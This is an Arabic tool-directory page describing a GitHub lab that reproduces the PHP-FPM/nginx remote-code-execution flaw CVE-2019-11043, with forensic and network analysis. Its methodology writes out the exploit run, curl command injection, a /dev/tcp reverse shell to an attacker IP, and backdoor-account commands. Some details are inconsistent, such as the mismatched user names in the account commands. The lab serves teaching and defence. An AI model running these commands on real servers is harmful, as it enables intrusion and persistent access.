Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-11043-Vulnerability — مختبر عملي يعيد إنتاج ثغرة CVE-2019-11043، وهي تنفيذ أوامر عن بُعد (RCE) في PHP-FPM خلف nginx، ويعرض الثبات عبر النفق العكسي، والأدلة الجنائية للذاكرة، وتحليل حركة مرور الشبكة. | Kitploit
أدوات/GitHubGitHub/magentabear/cve-2019-11043-vulnerability
تحليل الذاكرة الجنائيآليات الاستمراريةتحليل الثغرات الأمنيةالاستغلالتحليل الشبكة الجنائياستغلال تطبيقات الويباختبار الاختراقسوء التكوينالتعلم والتعليم

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الفريق الأحمر
مختبرات وتدريب عملي
GitHubmagentabear/cve-2019-11043-vulnerability

CVE-2019-11043-Vulnerability

مختبر عملي يعيد إنتاج ثغرة CVE-2019-11043، وهي تنفيذ أوامر عن بُعد (RCE) في PHP-FPM خلف nginx، ويعرض الثبات عبر النفق العكسي، والأدلة الجنائية للذاكرة، وتحليل حركة مرور الشبكة.

عرض المستودع
7منذ 9 أشهرلم تتم المراجعة بعد

المساهمون: Olaf Madejski, Andrew Masone, Nate Desany

عرض توضيحي لاستغلال النفق العكسي في PHP-FPM وتحقيق الاستمرارية

CVE-2019-11043 — ثغرة معالجة المسار في PHP-FPM في دبيان


نظرة عامة على المشروع

في أكتوبر 2019، نشر باحثو نشرة أمان دبيان Emil Lerner وAndrew Danau إشعارًا يحذّر فيه مجتمع دبيان من ثغرة حرجة في PHP-FPM. وبسبب التحقق غير الكافي في كود معالجة المسار في PHP-FPM، يمكن للمهاجمين التلاعب بطلبات مصممة خصيصًا لتحقيق تنفيذ تعسفي للكود عن بُعد تحت بعض تهيئات NGINX + PHP-FPM.

يعرض هذا المختبر استغلال:

CVE-2019-11043

ثغرة تؤثر على PHP-FPM الذي يعمل خلف NGINX، وعند استغلالها يمكن أن تسمح للمهاجمين بتنفيذ كود تعسفي وإنشاء استمرارية عبر الأنفاق العكسية.

يعيد المشروع إنشاء بيئة قابلة للاستغلال، وينفّذ سلسلة الاستغلال، ويقيّم كيفية تحقيق الخصوم للاستمرارية عبر تقنيات الأنفاق في سيناريوهات العالم الحقيقي.


جدول المحتويات

Config

  • يحتوي على ملف index.php الذي يمثل ملف الفهرس لحاوية Docker.
  • يحتوي على التهيئة الافتراضية المصحّحة لـ nginx واستخدام php-fpm.
  • يحتوي على التهيئة الافتراضية القابلة للاستغلال لـ nginx واستخدام php-fpm.

Disk_Images

  • يحتوي على ملف نصي يشير إلى Google Drive الذي يضم ملفي zip لصورة القرص لكل من الجهازين الافتراضيين، المضيف (Home) والمهاجم.

Screenshots

  • مجلد يحتوي على لقطات شاشة طوال المختبر ومضمّنة في ملف readme.

Supplemental Material

  • ملف README للأداتين المستخدمتين في الاستغلال، بالإضافة إلى ملف docker compose لصورة Docker.

LogFiles

  • ملفات سجلات تتراوح بين جهاز المهاجم وجهاز المضيف (Home).
  • تتضمن هذه الملفات سجلات .pcap مقسّمة لسهولة الاستخدام.
  • رابط لتفريغ الذاكرة، وهذا مهم لأن الاستغلال يستخدم بطبيعته تجاوزًا للذاكرة.
  • access, auth, error, faillog, fulllog.zip (سجلات journalctl)، history، php7.3-fpm (لاستخدام تصحيح الثغرة)، syslog، وسجلات term.

README.md

  • ملف readme الذي تقرؤه الآن.

أهمية المشروع

ناقل الهجوم

تتوافق سلسلة الهجوم هذه بشكل مباشر مع العديد من تقنيات MITRE ATT&CK عالية التأثير:

لماذا لا يزال هذا مهمًا اليوم

يُعد النفق العكسي للاستمرارية TTP عالي التكرار (تكتيك، تقنية، إجراء) يُستخدم عبر مجموعات APT والشبكات الروبوتية ومشغلي برامج الفدية. لا يزال PHP-FPM منتشرًا على نطاق واسع في بيئات الإنتاج، وما زالت التهيئات الخاطئة التي يستغلها CVE-2019-11043 تُلاحَظ في البرية.

هذه ليست تجريدات نظرية — بل تعكس السلوكيات الدقيقة الموثقة في حملات الاستغلال النشطة التي تشمل جهات فاعلة من دول ومجموعات برامج فدية.

على الرغم من أن CVE-2019-11043 يعود إلى عدة سنوات، لا تزال الثغرة ذات صلة بسبب الحقائق الأمنية الحديثة التالية:

  • تطبيقات PHP القديمة ما زالت موجودة في كل مكان. تواصل العديد من المؤسسات تشغيل حزم PHP 5.x/7.x القديمة بسبب اعتماديات تطبيقات الويب طويلة الأمد، أو الديون التقنية، أو الخوف من كسر الأنظمة الإنتاجية. غالبًا ما تظل هذه البيئات غير مصححة وقابلة للاستغلال.

  • NGINX + PHP-FPM من أكثر بنى الاستضافة شيوعًا عالميًا. وهذا يجعل الثغرات في PHP-FPM جذابة للغاية للمهاجمين الذين يبحثون عن أسطح استغلال كبيرة وطويلة الأمد.

  • النفق العكسي تقنية استمرارية أساسية عبر التهديدات الحديثة. تستخدم مجموعات مثل Lazarus وAPT29 وFIN11 والعديد من مشغلي برامج الفدية أنفاق SSH عكسية وأنفاق WebSocket وحتى قوالب PHP عكسية للحفاظ على وصول طويل الأمد دون الاعتماد على منافذ واردة مكشوفة.

  • تبقى التهيئات الخاطئة السبب الأول للاختراقات. حتى عند وجود تصحيحات، تستمر كتل "location" في NGINX غير الصحيحة ومتغيرات PATH_INFO ضعيفة التحقق في تعريض البيئات للاستغلال.

  • ما تزال مجموعات أتمتة الاستغلال تستهدف هذا CVE. تفحص أدوات مثل الماسحات الآلية والشبكات الروبوتية وبرمجيات إنترنت الأشياء الخبيثة إعدادات PHP-FPM القابلة للاستغلال بشكل روتيني لأن الاستغلال يؤدي إلى تنفيذ كود موثوق.

  • البيئات السحابية توسّع سطح الهجوم. غالبًا ما تحتوي الحاويات غير المؤمّنة جيدًا وإعدادات الاستضافة المشتركة وصور Docker الأساسية القديمة على إصدارات PHP-FPM غير مصححة، مما يؤدي إلى حركة جانبية سريعة داخل الشبكات السحابية.

  • المهاجمون يحبون "الغنيمة السهلة". الثغرة التي تتيح تنفيذ كود عن بُعد + استمرارية عبر الأنفاق مع الحد الأدنى من المهارة المطلوبة ستبقى دائمًا هدفًا عالي القيمة.

في مشهد التهديدات الحالي، حيث يهيمن الوصول المستمر والأنفاق الخفية ونقاط الضعف في سلسلة التوريد على عناوين الأمن السيبراني، فإن فهم وإظهار كيفية استغلال CVE-2019-11043 يوفر رؤية حاسمة حول أنماط الهجوم الحديثة والفجوات الدفاعية.


المنهجية

البيئة

كان الهدف من هذا المختبر محاكاة استغلال حقيقي لـ CVE‑2019‑11043، وهي ثغرة حرجة في تنفيذ الكود عن بُعد تؤثر على PHP‑FPM خلف nginx باستخدام تهيئات معينة. كان الهدف تحليل الثغرة، وإعادة إنتاج الاستغلال في بيئة افتراضية خاضعة للتحكم، وإظهار المخاطر المرتبطة بالبنية التحتية للويب غير الصحيحة.

تم استخدام جهازين افتراضيين: كليهما باسم مستخدم username وكلمة مرور password.

الدورالجهازعنوان IPالغرض
الهدف / الضحيةUbuntu Server192.168.56.102خادم PHP-FPM القابل للاستغلال والذي يعمل بـ CVE-2019-11043
المهاجمUbuntu Server192.168.56.103ينفّذ الاستغلال والقشرة العكسية والاستمرارية

أوامر إعداد المضيف:

تحديث apt

root@kitploit:~
sudo apt update && sudo apt -y upgrade

إنشاء الحاوية لاستغلال الثغرة.

root@kitploit:~
sudo apt install -y docker.io docker-compose git
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
sudo docker-compose up -d

أوامر إعداد الهدف:

تحديث Apt، وتثبيت php وpython الأساسيين والمزيد من الحزم

root@kitploit:~
sudo apt update
sudo apt install nmap curl wget git python3 python3-pip \
    netcat-traditional net-tools build-essential \
    php ruby ruby-full        
pip3 install requests
sudo apt install golang-go

تنزيل أداة لاستغلال CVE المعني والانتقال في الطرفية لبناء الاستغلال.

root@kitploit:~
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build

أوامر مهاجمة الهدف:

من هنا يكتمل الإعداد، كمثال على ما يمكنك فعله أولاً،

  1. في طرفية واحدة (الطرفية 1) نفّذ:

    root@kitploit:~
    nc -lvnp 4444
    

هذا لإعداد قناة استماع وتمكين القشرة العكسية، ويجب أن تبقى في وضع الاستماع دائمًا لأنها تتيح الأوامر الواردة لاحقًا في تجربة نظرية.

  1. في طرفية أخرى (الطرفية 2) نفّذ:

    root@kitploit:~
     cd phuip-fpizdam
    ./phuip-fpizdam http://192.168.56.102:8080/index.php
    

يجب أن يُخرج هذا أسطرًا تؤكد أنك نجحت في استغلال الثغرة.

أخيرًا افتح طرفية إضافية نهائية (الطرفية 3).

يمكنك فورًا البدء في اختبار وظيفة الاستغلال عن طريق تنفيذ:

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=id"

يُنشئ هذا أمرًا عن بُعد عبر الويب ويُخرج ناتج id. ومع ذلك، كما تظهر لقطة الشاشة أدناه، بسبب تجاوز الذاكرة هناك أوقات قد يعمل فيها الأمر أو لا يعمل، وغالبًا ما تكون الأوامر الأصغر أكثر عرضة للعمل.

يمكن نظريًا تنفيذ أي أمر هنا، ويجب وضعه حيث يقول الأمر أدناه HERE، ومع ذلك فإن فرص تنفيذ أمر كامل قد تختلف.

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=HERE"

يقرأ هذا الأمر المحتوى داخل القشرة

root@kitploit:~
http://192.168.56.102:8080/index.php?cmd=ls

في مثال من العالم الحقيقي، يُنشئ هذا الأمر من قبل جهة تهديد حسابًا جديدًا وينشئ كلمة مرور password بين علامتي الاقتباس

root@kitploit:~
useradd threat
echo "password" | passwd --stdin hacker

يُنشئ هذا الأمر قشرة عكسية، لكنه مجرد إثبات للمفهوم ويصعب تنفيذه لأن PHP-FPM يقتل عمليات العمال ويعيد توليدها بشكل دوري.

عندما تموت العملية التالفة، تموت معها تعديلات php.ini المحقونة.

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=/bin/sh+-c+'sh+-i+>%26+/dev/tcp/192.168.56.103/4444+0>%261'"

من هنا، من المرجح أن يستخدم المهاجم مهمة مجدولة، في هذا المثال CRON لأن الخادم يعمل بنظام لينكس، وهذا يعادل عمليات بدء التشغيل في ويندوز.


النتائج

أعاد المختبر إنتاج CVE‑2019‑11043 بنجاح في بيئة خاضعة للتحكم وأظهر كيف يمكن استغلال إعداد nginx + PHP‑FPM غير الصحيح عن بُعد. باستخدام تهيئة fastcgi_split_path_info القائمة على regex القابلة للاستغلال، تمكن جهاز المهاجم من إجبار PHP‑FPM على الدخول في حالة غير متناسقة، محققًا في النهاية تنفيذ كود تعسفي. بالإضافة إلى ذلك، تم استخراج ملفات السجلات من خادم بعيد عبر العديد من الأنظمة وتحليل السجلات المعروفة بصلتها بهذه الثغرة.

بمجرد استغلال الثغرة، يحصل المهاجم على تنفيذ أوامر عن بُعد على الهدف ويكون قادرًا على التفاعل مع النظام كمستخدم محلي. يقبل خادم الويب المخترق الأوامر وينفذها ويعيد المخرجات — مما يؤكد وجود قشرة بعيدة تعمل بكامل وظائفها. أكد هذا أن CVE يظل قابلاً للاستغلال بشكل موثوق عند إقرانه بتهيئة تقسيم المسار القابلة للاستغلال في nginx والإصدارات المتأثرة من PHP-FPM.

تصرفت البيئة بشكل متسق مع سلوك الاستغلال الموثق. نُفذت أوامر مثل whoami وid وls وecho بنجاح، بينما أظهرت الأوامر الأكثر تعقيدًا أو التفاعلية عدم استقرار عملية العامل المستغلة في PHP‑FPM — وهو أحد التأثيرات المعروفة لهذه الثغرة.

كما ذُكر، بسبب تقلب الثغرة، إذ تكون أحيانًا قابلة للاستغلال وأحيانًا لا، فهناك أوقات ينجح فيها الاستغلال وأوقات لا ينجح، لذا يُنصح بكتابة نصوص أوامر حلقية.

تستغل هذه الثغرة CVE مرتبطًا مباشرةً بمشكلة تجاوز في الذاكرة والمخزن المؤقت، ولهذا من المهم عرض ذاكرة الجهاز المضيف وتحليلها باستخدام Volatility.

في هذا المختبر، حللنا السجلات الرئيسية المتعلقة بهذه الثغرة: الذاكرة والتقاط الشبكة.

يُظهر التقاط الشبكة الأوامر التي يُحاول تنفيذها على جهاز المضيف. وتتضمن هذه الأوامر الأمر نفسه وأحرفًا متعددة تُلحق بنهاية عنوان URL الخاص بأمر HTTP GET المُرسل إلى الخادم، مما يسبب بدوره تجاوزًا في الذاكرة.

بالإضافة إلى ذلك، يمكنك رؤية الأمر الذي تم تنفيذه كنص واضح في هذا المثال غير الضار لتنزيل صورة كلب سعيد من صور جوجل، بالإضافة إلى الأمر الفعلي مع 'نص فكاهي' من منشئ PHuip على جيثب.

يُظهر التقاط الذاكرة، الذي تم تحليله باستخدام Volatility وجمعه في ملف .json، عمليات متكررة بنفس الاسم نُفذت عدة مرات متتالية مما يشير إلى حالات فشل وإعادة تشغيل.

يحدث هذا لأن خطأ تجاوز الذاكرة هو المشكلة الجذرية المرتبطة بهذه الثغرة. قد يكرر المستخدم أمرًا ما مثل سكربت bash: while true; do curl "command" sleep 0.01 لتنفيذ أوامر عدة مرات في الثانية محاولًا كسر الحاجز وتحقيق تنفيذ الكود عن بُعد.

النقاط الرئيسية المستفادة

بشكل عام، تحقّق المشروع من النقاط التالية:

  • إن regex الخاص بـ nginx القابل للاستغلال كافٍ لتعريض PHP‑FPM لتنفيذ الكود عن بُعد.

  • PHP‑FPM 8.1 (عند تهيئته بهذه الطريقة) لا يزال قابلاً للاستغلال في ظل ظروف CVE‑2019‑11043.

  • يمكن لمهاجم عن بُعد الحصول على تنفيذ أوامر فعّال، مما يتيح التلاعب بالملفات، وسرقة البيانات، واحتمال تصعيد الصلاحيات.

  • تمثل التهيئات الخاطئة في إعدادات البروكسي العكسي / FastCGI سطح هجوم عالي التأثير، خاصةً عند إقرانها بنقاط رفع ملفات متاحة للعموم أو صفحات phpinfo().

تعزز النتائج أهمية التهيئة الصحيحة لـ FastCGI وتبرز الحاجة إلى إعدادات افتراضية آمنة، وتدقيق التهيئة بشكل دوري، وتقليل تعريض نقاط التشخيص في بيئات الإنتاج.


الاستنتاج

يُظهر استغلال CVE-2019-11043 كيف يمكن لتهيئة خاطئة واحدة في PHP-FPM وNGINX أن تؤدي إلى السيطرة الكاملة على الخادم ووصول مستمر للخصوم.
أكد فريق نشرة أمان دبيان أن ترقية php7.0 إلى الإصدار 7.0.33 أو أحدث تصحح هذه الثغرة بالكامل.

يعد التصحيح المناسب، وتهيئات NGINX المحصّنة، ومراقبة سلوكيات الأنفاق أمورًا حاسمة في منع هجمات مماثلة في البيئات الحديثة.


المراجع

  • تفاصيل CVE – https://nvd.nist.gov/vuln/detail/cve-2019-11043
  • سجل CVE – https://www.cve.org/CVERecord?id=CVE-2019-11043
  • نشرة أمان دبيان – https://lists.debian.org/debian-security-announce/2019/msg00204.html
  • مستودع Docker للثغرة - https://github.com/vulhub/vulhub/tree/master
  • الأداة المستخدمة لاستغلال الثغرة - https://github.com/neex/phuip-fpizdam

تنزيل الأداة
معرّف MITREاسم التقنية
T1071الأنفاق في طبقة التطبيق
T1572أنفاق البروتوكول
T1090بروكسي / بروكسي عكسي
T1505مكونات جانب الخادم (PHP-FPM)
T1574اختطاف تدفق التنفيذ